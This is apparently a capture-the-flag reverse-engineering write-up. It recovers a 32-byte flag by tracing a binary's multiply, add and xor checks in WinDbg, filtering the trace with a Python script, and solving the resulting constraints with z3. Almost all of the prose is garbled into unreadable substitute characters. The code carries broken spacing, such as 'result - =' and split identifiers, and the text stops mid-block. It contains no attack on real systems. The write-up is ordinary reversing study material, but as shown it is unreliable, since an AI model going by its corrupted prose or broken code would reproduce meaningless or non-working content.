˸ˣ˶˧˷˧ Σ˫˧˷ˬ˸˷ˬ ˸ˣ˞˪˟˦˟ Φ˧ˮ˞ ˡˣ˰ ˶˸ˣ˧ ˷˧˧˟˸ˬ ˶ˬˣ˪ ˥˵˪˷ ˧˪ ˡˣ˰ ˢˬ˩ ˫˧ˬ˧ ˫˧˟ˣ˦ ˭˧˟ˢ˪ ˪˰ˣ˲˟˷ 

˶˟ˣˡˬ ˶ˣ˟˧˥˟ dwords ˭˩˪ˣ ˷˧ Ϧcarry Ϧ˪ˣ˩˧˟˩ Φˢ˶˵ˬ˟ ˣˮ˪˷ bc+8d=49 ˸ˬ˶˟ ˫˧˸˟ˢ ˭˟ˣˬ˩ˣ ˢˤ˷ ˠ˞ˣˡ 

˱˧˯ˣˢ˪ ˫ˠ млл ˪˪ˠ˟ sπcarry Φˤ˞ ˫˞ ˫˩˯ˮ ˣ˸ˢ ˵ˡˮ˧˞˟ ˯п ˦˪˵˟ ˣˮ˪˷ ˶˟ˣ˰ ˪˲˩ ˫˰ ˣˢ˷ˤ˧˞ ˨˶˰ ˤ˞ˣ 

˶ˣ˟˧˥ ˫˰ ˡˣ˰ ˨˶˰ Φ˶˷˲˞ ˳˪˥˪ ˸˞ ˸ˣ˪ˣ˰˲ˢ Φ˨˩ ˢˤ ˢ˞˶ˮ ˡˣ˵˟ ˠ˴˧˧ˬ ˦ˣ˷˲Υ 

result = flag_ext[ 4] * 0x0000000000ef7a8c  
result += 0x9d865d8d 

˨˧˷ˬˮ ˟ˣ˵˰˪ ˧˶˥˞ ˡˣ˵ˢ ˢ˪ˠˮˣ ˢˤ˷ ˥˵ˣ˪ ˸˞ ˢ˞˴ˣ˸ˢ ˶˯˥ˬˣ ˢˮˬˬ ˸˞ ύˣ˸ˢ ˯˵ˡˮ˧˞˟ нп ˪ˣ˲˩ ˧˞ˣˢ˷ˤ 

˰ˣ˟˵Υό  

 

 

˟ˣ˷ ˶ˣ˟˧˥ Σˡˬ˥ˮ ˨˩ ˢˤ ˢ˞˶ˮ ˡˣ˵˟ ˦ˣ˷˲ ˡ˰ ˣ˧˷˩˰Υ 

result = flag_ext[ 4] * 0x0000000000ef7a8c  
result += 0x9d865d8d 
result - = flag_ext[ 24] * 0x000000000045b53c 
result += 0x18baee57 

˨˧˷ˬˮ ˞˴ˬˮˣ ˢ˪ˣ˰˲ ˢ˷ˡ˥ Σ˫˰˲ˢ ˧˸˧ˢ˧ˤ ˶ˢˬ ˡˣ˞ˬ ˶˟ˣˡˬ˷ ˶ˣ˯˧˥˟ Σ˪˟˞ ˶˰ˠ ˧ˮ˞ ˸˴˵ ˢˬ˶ˬ ˢ˲ Σ˨˧˞ 

˧ˮ˞ ˰ˡˣ˧ ˸˞ ˪˩ ˫˧˰ˣ˟˵ˢ Κˤ˞ ˸ˣ˪˲˩ˢˢ ˫˧˰˧˲ˣˬ ˧˪ ˳˟ˣ˵˟ ˧˩ ˢˤ ˭˰˦ˮ ˭ˣ˶˩˧ˤˢˬ ύ˶˟ˣ˰ ˯ˮ˶˲˶˧ˡ ό˧˸ˠ˞ˡˣ 

˯˧˲ˡˢ˪ ˪˩ ˢˬ ˭˰˦ˮ˷ ˭ˣ˶˩˧ˤˢˬ ˷˞˶ˬ Σ˪˟˞ ˢˬ ˫˰ ˫˧˶ˣ˟˧˥ˢ ˫˧˶ˣ˯˧˥ˢˣ Κ 

ˤ˞ ˭˩ Σ˧˸ˡ˟˰ ˣˬ˩ ˢ˪ˬˮ ύx˞ ˶ˣˬ˥ Σˢˬ ˫˸˞˷ ˫˧˲˧ˡ˰ˬ ό˰ˠ˶˟ˣ ˧˸ˮ˟ˢ˷ ˸˞ ˢ˪ˣ˰˲ˢ s˸˧˦ˬ˸ˬ ˸˧˶ˣ˵˷ Σ

˧˸˥˵˪ ˸˞ ˨˶˰ˢ ˯ˮ˩ˮ˷ύ Σ˫ˠ˷ ˰˧˲ˣˬ ˧˪ ˳˟ˣ˵˟ ˧˩ ˫ˠ ˞ˣˢ ˭˰˦ˮ ˭ˣ˶˩˧ˤˢˬ ό˧˸˥˵˪ˣ ˸˞ ˨˶˰ˢ ˞˴ˣ˧˷ ˧˸˧˷˰ˣ 

˸˞ ˢ˪ˣ˰˲ˢ ˢˬ˧˞˸ˬˢ ˧ˡ˩ ˸ˣ˪ˠ˪ ˸˞ ˨˶˰ ˶ˣ˟˧˥ˢ x˞ ˶ˣ˯˧˥ˢ Φ˪˷ˬ˪ ˢ˶˵ˬ˟ ˪˷ ˶ˣ˟˧˥: 

start_val + x = end_val 

˦ˣ˷˲ ˧˸˶˯˧˥ ˭˧˟ ˨˶˰ˢ ˧˲ˣ˯ˢ ˶˥˞˪ ˧˸˪˥˸ˢˢΦ 
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˨˩ ˢˤ ˢ˞˶ˮ ˧˶˥˞ ˶ˣ˯˧˥ˢ: 

result = flag_ext[ 4] * 0x0000000000ef7a8c  
result += 0x9d865d8d 
result - = flag_ext[ 24] * 0x000000000045b53c 
result += 0x18baee57 
result - = flag_ext[ 0] * 0x0000000000e4cf8b  
result - = 0x913fbbde  

 

˨˩ ˧˸˩˷ˬˢ ˡ˰ ˧˸˰ˠˢ˷ ˢ˪ˣ˰˲˪ ˞˪ ˢ˶ˣ˶˟ Φˣˮ˧ˮ˧˟ Σ˧˸˧˧ˢ ˨˧˶˴ ˷˥ˮ˪ Σ˷˧˧˟˸ˬ ˞˪˷ ˧˸˷˥˧ˮ ˡˣ˰ˣ ˶˸ˣ˧ 

˷˧˧˟˸ˬ ˥˵˪˷ ˧˪ ˫˧ˬ˧ ˭˧˟ˢ˪ Φˢ˪ˣ˰˲ˢ ˟ˣ˷ ˸˷ˬ˸˷ˬ ˢ˪˟˦˟ Σ˪˟˞ ˵˶ ˸˥˞ ˪˩˪ ˸˧˟ Σ˶ˤˣˬ Φ˨˩ ˞˧ˢ 

˸˧˞˶ˮΥ 

 

ˢ˶˵ˬ˟ ˣˮ˪˷ ˨˶˰ˢ ˯ˮ˩ˮ˷ ˞ˣˢ оф ˨˶˰ˢˣ ˞˴ˣ˧˷ ˞ˣˢ лн Φ˧˸˧˧ˢ ˷˸ˣˬ ˶ˠ˸˞ˢˬ ˢˤˢ ˢ˞˴ˣ˸˩ˣ ˨˩ˬ ˥˵˪ ˧˪ 

˭ˣˬˢ ˭ˬˤ ˭˧˟ˢ˪ ˶˟ˣˡˬ˷ ˟-xor  Φˢ˩˩ˣ ˧˸˩˷ˬˢ ˡ˰ ˧˸˰ˠˢ˷ ˡˣ˵˪ ˞˟ˢΥ 

result = flag_ext[ 4] * 0x0000000000ef7a8c  
result += 0x9d865d8d 
result - = flag_ext[ 24] * 0x000000000045b53c 
result += 0x18baee57 
result - = flag_ext[ 0] * 0x0000000000e4cf8b  
result - = 0x913fbbde  
result - = flag_ext[ 8] * 0x0000000000f5c990  
result += 0x6bfaa656  
result ^= flag_ext[ 20] * 0x0000000000733178 
result ^= 0x61e3db3b 
result ^= flag_ext[ 16] * 0x00000000009a17b8 
result - = 0xca2804b1 
result ^= flag_ext[ 12] * 0x0000000000773850 
result ^= 0x5a6f68be  
result ^= flag_ext[ 28] * 0x0000000000e21d3d 
result ^= 0x5c911d23 
result - = 0xffffffff81647a79  
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˶ˣ˯˧˥ˢ ˢ˶ˣ˷˟ ˢˮˣ˶˥˞ˢ ˞ˣˢ ˸˴˵ ˢˣˬ˸ ˪˟˞ ˞ˣˢ ˢ˞˴ˣ˸ ˢ˶˧˷˧ ˪˷ ˟˵˰ˬ ˵˧ˣˡˬ ˶˥˞ ˢˬ ˢ˶ˣ˵˷ ˪˰ˣ˲˟ 

˨˶˰˪ ˣˮ˪˷ Φˣ˧ˡ˰˪˟ ˪˟˵ˮ ˢ˞˴ˣ˸ ˢ˧ˣˠ˷ Σ˭ˣ˧˯˧ˮˬ Φˢ˞˶ˮ˩ ˣˮ˥ˮ˞˷ ˪˩˟ ˸˞ˤ ˫˧˵˥˷ˬ ˪˰ сп ˦˧˟ ˢ˲ Σ˸ˣ˥˲˪ 

˱ˣ˯˟Φ 

˷˧ ˡˣ˰ ˣˢ˷ˬ ˨˧˶˴˷ ˞ˣ˴ˬ˪ Σ˧˞ˮ˸ˢ ˣˮ˪˷ Σˤ˞ ˨ˣ˯˥˞ ˫˩˪ ˡˣ˰ ˸ˣˮˣˬ˸ ˸ˣˬˬ˰˷ˬ x˦ˣ˷˲ ˡ˧ˠ˞ ˧˞ˮ˸ˢ˷ ˞ˣˢ 

ˡ˧ˬ˸ ˢ˞˴ˣ˸ˢ˷ ˣˮ˪˷ ˢ˧ˢ˸ ˯˲˞ Φ˭˟ˣˬ˩ ˧˸˯ˮ˩ˢ˷ ˸˞ ˡˣ˵ˢ ˢˤˢ ˪πz3 Φ˟ˣ˷˥ ˶˟ˡ˪ ˪˰ ˪˧˲ˢ ˶ˡ˥˟˷ Σ

˶˟ˣˡˬ ˢ˲ ˵˶ ˟-у ˫˧ˣˣ˸ ˨ˣ˸ˬ sπон ˣˮ˪˷ Φ 

ˢ˪ˠ˞ ˫˩˪ ˶˪˧ˣ˲˯ π ˷˧ ˡˣ˰ ˢ˟˶ˢ ˸ˣ˪ˣ˰˲ ˢ˪˞˩ x˞ ˣˬ˩ ˧ˮ˞˷ ˢˮ˩˞ ˫˸ˣ˞ ˣ˧˷˩˰ˬ ˢ˞˪ˢˣ π ˫˧˟ˣ˟˧˯ Φ˷˧ он 

˫˧˟ˣ˟˧˯ Σ˪˩˟ ˣ˟˧˯ ˟˫˧˵ˡ˟ˮ у ˫˧ˣˣ˸ ύ˷˶˲ˢˢ˷ ˧˪ˬ˧ˮ˧ˬˢ ˫˧˯˵ˡˮ˧˞˟ ˫ˢ˪˷ ˞ˣˢ п Σ˪˟˞ ˢˤ ˞˪ ˸ˬ˞˟ 

ˢˮ˷ˬ Φό 

ˢˮˢ ˡˣ˵ˢ z3 ˧˸ˮ˩ˢ˷ ˟ˣ˟˧˯˪ ˢˤˢΥ 

from z3 import *  
 
solver = Solver()  
 
flag = [BitVec( f 'flag[{i}]' , 8) for i in range ( 32)]  
 
for x in flag:  
    solver.add(UGT(x, 32), ULT(x, 128))  
 
f lag_ext = [ZeroExt( 56, flag[i]) for i in range ( 32)]  
# First block of operations  
result = flag_ext[ 4] * 0x0000000000ef7a8c  
result += 0x9d865d8d 
result - = flag_ext[ 24] * 0x000000000045b53c 
result += 0x18baee57 
result - = flag_ext[ 0] * 0x0000000000e4cf8b  
resul t - = 0x913fbbde  
result - = flag_ext[ 8] * 0x0000000000f5c990  
result += 0x6bfaa656  
result ^= flag_ext[ 20] * 0x0000000000733178 
result ^= 0x61e3db3b 
result ^= flag_ext[ 16] * 0x00000000009a17b8 
result - = 0xca2804b1 
result ^= flag_ext[ 12] * 0x0000000000773850 
re sult ^= 0x5a6f68be  
result ^= flag_ext[ 28] * 0x0000000000e21d3d 
result ^= 0x5c911d23 
result - = 0xffffffff81647a79  
 
solver.add(result == 0)  
 
if solver.check() == sat:  
    model = solver.model()  
    # Extract the values for the flag bytes from the model  
    solution = [model[flag[i]].as_long() for i in range ( 32)]  
    # Convert solution to ASCII characters  
    flag_str = '' .join( chr (c) for c in solution)  
    print ( "Flag:" , flag_str)  
else :  
    print ( "No solution found." )  
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˳˧˶ˮ ˪˟˵ˮˣ ˸˞ ˦˪˲ˢΥ 

=HHAnHHHLHHHFHAH~HHH>HHH%HHH9HHH 

˫˞ ˵ˣˡ˟ˮ ˢ˪ˠˮ ˦˪˵ˢ˷ ˢˤˢ ˸ˬ˞˟ ˶˟ˣ˰ ˸˞ ˟ˣ˟˧˯ˢ ˭ˣ˷˞˶ˢ Σˢˬ ˫˰ ˶˞˷ ˫˧˟ˣ˟˧˯ˢ Κ˭˩˟ˣ ˢ˶ˣ˵ ˣ˸ˣ˞ 

˶˟ˡ ˫ˠ ˫ˢ˟ Σ˸ˣ˪ˣ˰˲ ˸ˣ˧˦ˬ˸ˬ ˫˰ ˫˧˰ˣ˟˵ ˪˞ ˪ˣˬ ˦˪˵ˢ ˣˮ˪˷ ˢ˞ˣˣ˷ˢˣ ˯˲˞˪ Φ˧˶˥˞ ˧˸˞˴ˣˢ˷ ˧˸˟˸˩ˣ 

˸˧ˮˡ˧ ˸˞ ˫˧˞ˮ˸ˢ ˫˧˟ˣ˟˧˯˪ ˞˶ˢ˫˧ˮˣ˷ Σ˧˸˧˪˧ˠ ˧˶˥˞˷ ˸ˣˬ˩ ˸ˬ˧ˣ˯ˬ ˪˷ ˫˧˟ˣ˟˧˯ Σ˥˵ˣ˪ ˪πz3 ˥˵ˣ˪ ˭ˬˤ 

˧˸˪˟ ˶˧˟˯ ˶ˣ˸˲˪ ˭˩˪ˣ ˢ˞˶ˮ˩ ˱˧ˡ˰˷ ˭˧ˤˢ˪ x˪ ˢˬ˩ ˶˸ˣ˧˷ ˫˧˟ˣ˟˧˯ x˞ ˷˧˷ ˸ˣˬ˩ ˸˧˪ˬ˧˦˲ˣ˞ ˪˷ ˫˧˟ˣ˟˧˯ Φ

˦ˣ˷˲ ˢˬ˶ˮ ˶ˠ˞˟˧ˡ˟ Σ˧˞ˮ˸ˢ ˱ˣ˯˟ ˪˩ ˟ˣ˟˧˯ ˢ˞˶ˮ ˢ˩˩Υ 

cmovne  r12,r15  

ˠ˶ˢϥ˫˧˶˦˯˧ ˫˧ˮˣ˷ Σ˪˟˞ ˡ˧ˬ˸ ˡ˥˞ ˢˬ ˫˪˧˩ˬ ˰˧˟˴ˬ ˸˧˧˴˵ˮˣ˲˪ ˡ˯˲ˢˢ ˧ˮ˷ˢˣ ˪˧˩ˬ ˰˧˟˴ˬ ˨˷ˬˢ˪ 

˫˧˟ˣ˟˧˯ˢ Φ˶˟ˡˢ ˟ˣ˷˥ˢ ˸˰ˡ˪ ˞˧ˢ ˢˡˣ˵˲ˢ˷ ˡ˧ˬ˸ ˢˢˤ Σ˭˩˪ ˪˩ ˫˰˲ ˧ˮ˲˪ ˷ˣˠ˲ˮ˷ ˢˡˣ˵˲˟ ˸˞ˤˢ Σˠ˞ˡˮ 

˸ˣˮ˷˪ ˸˞ sπzero flag ˣˮ˪˷ ˨˩ ˨˧˷ˬ˧˷ ˫˧˟ˣ˟˧˯˟ Φ˨˶ˣ˴˪ ˨˩ ˧˸˲˯ˣˢ ˦˲˧˶˵˯˪ ˧˞˶ˣˮˢ ˫ˡ˵ˣˬˬ ˧˞ˮ˸ 

ˢ˶˵ˬ˟ ˪˵˸ˮ˷ ˢˡˣ˵˲˟ ˸˞ˤˢ Φˣ˧˸˲˯ˣˢ ˫ˠ ˢ˯˲ˡˢ ˪˷ ˶˲˯ˬ ˟ˣ˟˧˯ˢ ˧ˮ˞˷ ˞˴ˬˮ x˟ Σ˧ˡ˩ ˪˩ˣ˞˷ ˞˴ˬ˸ˢ˪ 

˸ˣ˪˵˟ Φˢˤ ˦˲˧˶˵˯ˢ ˧˪˷ Φ˫˰˲ˢ ˪˪ˠ˟ ˢ˴˧˶ˢ˷ ˢ˩ˣ˶˞ ˡˣ˞ˬ ˷˧ˣ ˸ˠ˧˪ˤ ˭ˣ˶˩˧ˤ Σ˦˲˧˶˵˯ˢ ˪˩˞˧ ˧˪ ˸˞ ˪˩ sπ

RAM ύ˷˧ˣ ˧˪ 32GB Φό˪˞ ˣ˯ˮ˸ ˸˧˟˟ Σˣ˞˶ ˫˸˶ˢˤˣˢΗ 

˧˸˧ˮ˧˷ ˦˰ˬ ˫ˠ ˸˞ ˦˲˧˶˵˯ˢ ˧˪˷ ˸˞˴ˣˢ˪ ˸ˣˡˣ˵˲ˢ ˸ˣ˟ˣ˷˥ˢ ˵˶ ˪˪ˠ˟ ˧˸˲˯ˣˢ˷ ˸˞ ˶˲˯ˬ ˫˧˟ˣ˟˧˯ˢΥ 

with open( "ins.txt" , "r" ) as f:  
  lines = f. read (). splitlines ()  
 
new_lines = ""  
i = 0 
max_lines = len (lines)  
 
while (i <max_lines - 1):  
  if ( "Cycle " in lines[i]):  
    new_lines += lines[i] + " \ n"  
  if ( "base" in lines[i]):  
    new_lines += lines[i] + " \ n"  
  if ( "pop     rax" in lines[i]):  
    new_lines += lines[i +1] + " \ n"  
  elif ( "hlt" in lines[i]):  
     new_lines += lines[i] + " \ n"  
  elif ( "Function" i n lines[i]):  
    new_lines += lines[i] + " \ n"  
  elif ( "ret" in lines[i]):  
    while ( "call" not in lines[i +1]):  
      if (i +1>=max_lines - 1):  
        break  
      new_lines += lines[i +1] + " \ n"  
      i +=1 
  i +=1 
 
with open( "ins_cleaned.txt" , "w+" ) as newf:  
  newf. write (new_lines)  

https://gist.github.com/dani0104/b684e0aa0f54a87698b31d9893be596b
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˦˲˧˶˵˯˪ sπwindbg ˥˵ˣ˪ ˢ˟˶ˢ ˭ˬˤ ˳ˣ˶˪ ˧˩ ˞ˣˢ ˡ˟ˣ˰ ˪˰ ˭ˣˬˢ ˸ˣˡˣ˵˲ ˫ˠˣ ˪˪ˠ˟ ˸ˠ˧˪ˤ ˭ˣ˶˩˧ˤˢ Φˣˢ˷ˤ˧˞˟ 

˟˪˷ ˦˲˧˶˵˯ˢ ˪˧˥˸ˬ ˡˣ˟˰˪ ˫˰ swap file ˧˦˧˞˷ ˶˸ˣ˧ ˭ˣ˶˩˧ˤˢˬ RAM ˭˲ˣ˞˟ ˧˰˟˦ Φ˭˩˪ ˶˥˞˪ ˩πнл ˸ˣ˵ˡ Σ

˧˸˵˯˲ˢ ˸˞ ˢ˴˧˶ˢ ˣ˪˷ Σ˧˸˞˴ˣˢ ˸˞ ˸ˣˡˣ˵˲ˢ ˸ˣ˟ˣ˷˥ˢ ˰ ˫˦˲˧˶˵˯ˢ ˪˧˰˪ ˧˸˧ˣˣ˧˵ˣ ˣ˧ˢ˧˷ ˧˪ ˵˧˲˯ˬ 

˫˧˟ˣ˟˧˯ ˧ˡ˩ ˠ˧˷ˢ˪ ˸˞ ˪ˠˡˢ Φ˭˟ˣˬ˩ ˞˪˷ ˣ˧ˢ ˧˪ ˡˣ˰ˣ ˶˸ˣ˧ ˰ˣ˶ˠ Φˢ˸˧˧ˢ ˧˪ ˸ˣ˰˦ ˳˟ˣ˵˟ sπz3 ˵ˮ˰ˢ ˧˸˶˴˧˷ 

ύ˸ˡˣ˟˰˟ ˫˧˪ˬˮ ˢ˩ˣ˶˞ ˢ˷˧˸ˬˣ Φό˧ˮ˞ ˰ˡˣ˧ ˢ˸˧˧ˢ˷ ˸ˣ˰˦ ˧˩ ˢˤ ˦ˣ˷˲ ˦˪˲ ˧˪ unsat ˭˲ˣ˞˟ ˧ˡ˧˧ˬ ˶˥˞˪ 

ˢ˴˶ˢˢ Φˢˤ ˤˬ˶ˬ ˪˰ ˢ˶˧˸˯ ˭˧˟ s˫˧˞ˮ˸Φ 

˧˸˴˶ˢ ˟ˣ˷ ˸˞ ˦˲˧˶˵˯ˢ windbg Σ˫˰˲ˢ ˫˰ ˦˪˵ ˶˥˞ ˭ˬˤ˪ˣ ˨˷ˣˬˬ ˶˸ˣ˧ ύˢ˰˷˩ ό˧˸˵ˡ˟ˣ ˪˞ ˪ˣˬ 

˦˲˧˶˵˯ˢ z3 ˧˪˷ ˪˩ˢ˷ ˭ˣ˩ˮ Φ˸ˬ˞ˢ Σˢˤ ˪˵ ˞ˡˣˣ˪ ˧˸˟˸˩˷ ˟ˣ˟˧˯ ˫˧ˣ˯ˬ ˭ˣ˩ˮ ˧˩ ˷˧ ˨˶˰ Σ˷˧ ˸ˣ˪ˣ˰˲ Σ˷˧ 

ˢ˞˴ˣ˸ ˶˷˲˞ˣ ˸ˣˬˡ˪ ˸˞ ˢˤ ˡˣ˵˟ ˸ˣ˞˶˪ˣ ˫˞ ˢ˞˴ˣ˸ˢ ˸˞˴ˣ˧ ˧˲˩ ˞˧ˢ˷ ˸˧˞˶ˮ ˳˟ˣ˵˟ ˸ˣˡˣ˵˲ˢΦ 

˨˯˟ ˪˩ˢ ˳˟ˣ˵˟ ˸ˣˡˣ˵˲ˢ ˧˪˷ ˣ˧ˢ но ˫˧˟ˣ˟˧˯ Σ˧˸˟˸˩ му ˫ˢˬ ˨ˣ˸˪ ˦˲˧˶˵˯ˢ z3 ˧˪˷Υ 

from z3 import *  
 
solver = Solver ()  
flag = [ BitVec ( f 'flag[ {i} ]' , 8) for i in range ( 32)]  
flag_ext = [ ZeroExt ( 56, flag[i]) for i in range ( 32)]  
 
# First block of operations  
r esult = flag_ext[ 4] * 0x0000000000ef7a8c  
result += 0x9d865d8d 
result - = flag_ext[ 24] * 0x000000000045b53c 
result += 0x18baee57 
result - = flag_ext[ 0] * 0x0000000000e4cf8b  
result - = 0x913fbbde  
result - = flag_ext[ 8] * 0x0000000000f5c990  
result += 0x6bfaa656  
r esult ^= flag_ext[ 20] * 0x0000000000733178 
result ^= 0x61e3db3b 
result ^= flag_ext[ 16] * 0x00000000009a17b8 
result - = 0xca2804b1 
result ^= flag_ext[ 12] * 0x0000000000773850 
result ^= 0x5a6f68be  
result ^= flag_ext[ 28] * 0x0000000000e21d3d 
result ^= 0x5c911d23 
result - = 0xffffffff81647a79  
# Grouping all operations for block 1  
block1 = (result ) == 0 
 
# Second block of operations  
result = flag_ext[ 17] * 0x000000000099aa81 
result - = 0x74edea51 
result ^= flag_ext[ 5] * 0x00000000004aba22 
result += 0x598015bf  
resu lt ^= flag_ext[ 21] * 0x000000000091a68a 
result ^= 0x6df18e52  
result ^= flag_ext[ 1] * 0x0000000000942fde  
result += 0x15c825ee 
result - = flag_ext[ 13] * 0x0000000000fe2fbe  
result += 0xd5682b64 
result - = flag_ext[ 29] * 0x0000000000d7e52f  
result += 0x798bd018 
r esult ^= flag_ext[ 25] * 0x0000000000e44f6a  
result - = 0xe66d523e 
result += flag_ext[ 9] * 0x0000000000af71d6  
result += 0x921122d3 
result - = 0xe1148bae 
# Grouping all operations for block 2  
block2 = (result ) == 0 
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# Third block of operations  
result = flag_ex t[ 10] * 0x000000000048c500 
result - = 0x8fdaa1bc  
result - = flag_ext[ 30] * 0x0000000000152887 
result += 0x65f04e48  
result - = flag_ext[ 14] * 0x0000000000aa4247 
result ^= 0x3d63ec69 
result ^= flag_ext[ 22] * 0x000000000038d82d 
result ^= 0x872eca8f  
result ^= fla g_ext[ 26] * 0x0000000000f120ac  
result += 0x803dbdcf  
result += flag_ext[ 2] * 0x0000000000254def  
result ^= 0xee380db3 
result ^= flag_ext[ 18] * 0x00000000009ef3e7  
result - = 0x6deaa90b 
result += flag_ext[ 6] * 0x000000000069c573 
result - = 0xc9ac5c5d  
result - = 0xfffffffdf3ba3f0d  
# Grouping all operations for block 3  
block3 = (result ) == 0 
 
# Fourth block of operations  
result = flag_ext[ 11] * 0x000000000067dda4 
result += 0xf4753afc  
result += flag_ext[ 31] * 0x00000000005bb860 
result ^= 0xc1d47fc9  
result ^= flag_ex t[ 23] * 0x0000000000ab0ce5 
result += 0x544ff977  
result += flag_ext[ 7] * 0x0000000000148e94 
result - = 0x9cb3e419 
result - = flag_ext[ 15] * 0x00000000009e06ae 
result - = 0xadc62064 
result ^= flag_ext[ 3] * 0x0000000000fb9de1  
result ^= 0x4e3633f7  
result - = flag_ ext[ 27] * 0x0000000000a8a511 
result ^= 0xa61f9208  
result += flag_ext[ 19] * 0x0000000000d3468d 
result += 0x4a5d7b48 
result - = 0xffffffffef6412a2  
# Grouping all operations for block 4  
block4 = (result ) == 0 
 
# Fifth block of operations  
result = flag_ext[ 12]  * 0x0000000000640ba9 
result += 0x516c7a5c 
result - = flag_ext[ 0] * 0x0000000000f1d9e5  
result += 0x8b424d6b 
result += flag_ext[ 28] * 0x0000000000d3e2f8  
result += 0x3802be78 
result += flag_ext[ 24] * 0x0000000000b558ce 
result - = 0x33418c8e 
result - = flag_ext[ 8] * 0x00000000002f03a7  
result ^= 0xe050b170 
result += flag_ext[ 16] * 0x0000000000b8fa61  
result ^= 0x1fc22df6  
result - = flag_ext[ 20] * 0x0000000000e0c507 
result ^= 0xd8376e57 
result += flag_ext[ 4] * 0x00000000008e354e 
result - = 0xd2cb3108 
result - = 0x100e79080 
# Grouping all operations for block 5  
block5 = (result ) == 0 
 
result = flag_ext[ 17] * 0x0000000000a9b448 
result ^= 0x9f938499  
result += flag_ext[ 5] * 0x0000000000906550 
result += 0x407021af  
result ^= flag_ext[ 13] * 0x0000000000aa5ad2 
result ^= 0x77cf 83a7 
result ^= flag_ext[ 29] * 0x0000000000c49349 
result ^= 0x3067f4e7  
result += flag_ext[ 9] * 0x0000000000314f8e  
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result += 0xcd975f3b  
result ^= flag_ext[ 21] * 0x000000000081968b 
result += 0x893d2e0b 
result - = flag_ext[ 25] * 0x00000000005ffbac  
result ^= 0xf 3378e3a 
result - = flag_ext[ 1] * 0x0000000000f63c8e  
result - = 0x1c1d882b 
result - = 0x8e5eb48d 
result - = 0x200000000 
block6 = (result ) == 0 
 
result = flag_ext[ 22] * 0x0000000000a6edf9  
result ^= 0x77c58017 
result - = flag_ext[ 18] * 0x0000000000e87bf4  
result - = 0x999bd740 
result - = flag_ext[ 2] * 0x000000000019864d 
result - = 0x41884bed 
result += flag_ext[ 6] * 0x0000000000901524 
result ^= 0x247bf095  
result ^= flag_ext[ 10] * 0x0000000000c897cc 
result ^= 0xeff7eea8  
result ^= flag_ext[ 14] * 0x0000000000731197 
result  += 0x67a0d262 
result += flag_ext[ 30] * 0x00000000005f591c  
result += 0x316661f9  
result += flag_ext[ 26] * 0x0000000000579d0e 
result - = 0x3427fa1c  
result - = 0x900d744b 
block7 = (result ) == 0 
 
result = flag_ext[ 23] * 0x00000000009afaf6  
result ^= 0xdb895413 
r esult += flag_ext[ 19] * 0x00000000007d1a12 
result - = 0xc679fc44  
result += flag_ext[ 11] * 0x00000000004d84b1 
result += 0xa30387dc 
result - = flag_ext[ 15] * 0x0000000000552b78 
result ^= 0xf54a725e  
result ^= flag_ext[ 7] * 0x0000000000f372a1  
result - = 0x4c5103ad 
result += flag_ext[ 31] * 0x0000000000b40eb5 
result ^= 0x16fa70d2  
result ^= flag_ext[ 3] * 0x00000000009e5c18 
result += 0x38784353 
result ^= flag_ext[ 27] * 0x0000000000f2513b  
result += 0xa1fc09f0  
result - = 0x01d6e408 
result - = 0x100000000 
block8 = (result ) == 0 
 
result = flag_ext[ 28] * 0x0000000000ac70b9 
result += 0xdae0a932 
result ^= flag_ext[ 4] * 0x0000000000c42b6f  
result ^= 0xbc03104c 
result - = flag_ext[ 0] * 0x0000000000867193 
result += 0xdc48c63a 
result - = flag_ext[ 12] * 0x00000000006d31fe  
result ^= 0x4baeb6d0 
result - = flag_ext[ 16] * 0x0000000000aaae58 
result - = 0xcd7121f8  
result += flag_ext[ 20] * 0x00000000009faa7a  
result += 0xbe0a2c9c 
result += flag_ext[ 24] * 0x0000000000354ac6 
result ^= 0xd8ad17f1  
result - = flag_ext[ 8] * 0x00000000003f2acb  
result - = 0x8b6b7d89 
result - = 0x63c13793 
result - = 0x200000000 
block9 = (result ) == 0 
 
result = flag_ext[ 29] * 0x0000000000e9d18a 
result ^= 0xcb5557ea 
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result ^= flag_ext[ 25] * 0x00000000008aa5b9 
result ^= 0x9125a906 
result - = flag_ext[ 17] * 0x0000000000241997 
res ult += 0x6e46fcb8  
result += flag_ext[ 5] * 0x0000000000e3da0f  
result += 0x442800ec 
result += flag_ext[ 13] * 0x0000000000a5f9eb  
result += 0xbde8f9af  
result += flag_ext[ 21] * 0x0000000000d6e0fb  
result - = 0xc9d97243 
result += flag_ext[ 1] * 0x00000000008dc36e 
r esult += 0xc54b7d21 
result ^= flag_ext[ 9] * 0x0000000000b072ee 
result - = 0x2a1ab0c1 
result - = 0xbf2044db  
result - = 0x200000000 
#00000001c7f3c165  
#ffffffffc7f3c165  
block10 = (result ) == 0 
 
result = flag_ext[ 30] * 0x0000000000d14f3e  
result ^= 0xa06c215b 
res ult - = flag_ext[ 26] * 0x0000000000c5ecbf  
result += 0xb197c5c0 
result ^= flag_ext[ 6] * 0x000000000019ff9c  
result ^= 0x66e7d06c 
result += flag_ext[ 2] * 0x0000000000e3288b 
result ^= 0x80af4325  
result ^= flag_ext[ 10] * 0x0000000000cfb18c  
result - = 0xe13c8393 
r esult ^= flag_ext[ 18] * 0x0000000000d208e5 
result += 0xf96d2b51  
result += flag_ext[ 14] * 0x000000000042240f  
result - = 0x8732273d 
result - = flag_ext[ 22] * 0x00000000001c6098 
result - = 0xd3d45c5a 
result - = 0x0b3d7e5b 
block11 = (result ) == 0 
 
result = flag_e xt[ 11] * 0x00000000003768cc 
result ^= 0x19f61419  
result - = flag_ext[ 3] * 0x000000000043be16 
result += 0x566cc6a8 
result ^= flag_ext[ 15] * 0x0000000000b7cca5 
result += 0x6db0599e 
result += flag_ext[ 27] * 0x0000000000f6419f  
result ^= 0xbd613538 
result ^= fla g_ext[ 19] * 0x0000000000ae52fc  
result += 0x717a44dd 
result - = flag_ext[ 23] * 0x00000000005eeb81 
result += 0xdd02182d 
result ^= flag_ext[ 7] * 0x0000000000ec1845 
result ^= 0xef8e5416  
result += flag_ext[ 31] * 0x000000000061a3be 
result ^= 0x9288d4fa  
result - = 0x81bdbe05 
result - = 0x200000000 
block12 = (result ) == 0 
 
result = flag_ext[ 16] * 0x0000000000336e91 
result += 0xa1eb20e3 
result - = flag_ext[ 4] * 0x0000000000d45de9 
result - = 0x381ac71a 
result += flag_ext[ 8] * 0x000000000076c8f8  
result ^= 0xd8caa2cd 
resul t - = flag_ext[ 20] * 0x0000000000945339 
result += 0x524d7efa  
result += flag_ext[ 12] * 0x00000000004474ec 
result - = 0xe47e82cd 
result ^= flag_ext[ 0] * 0x000000000051054f  
result ^= 0x3321c9b1 
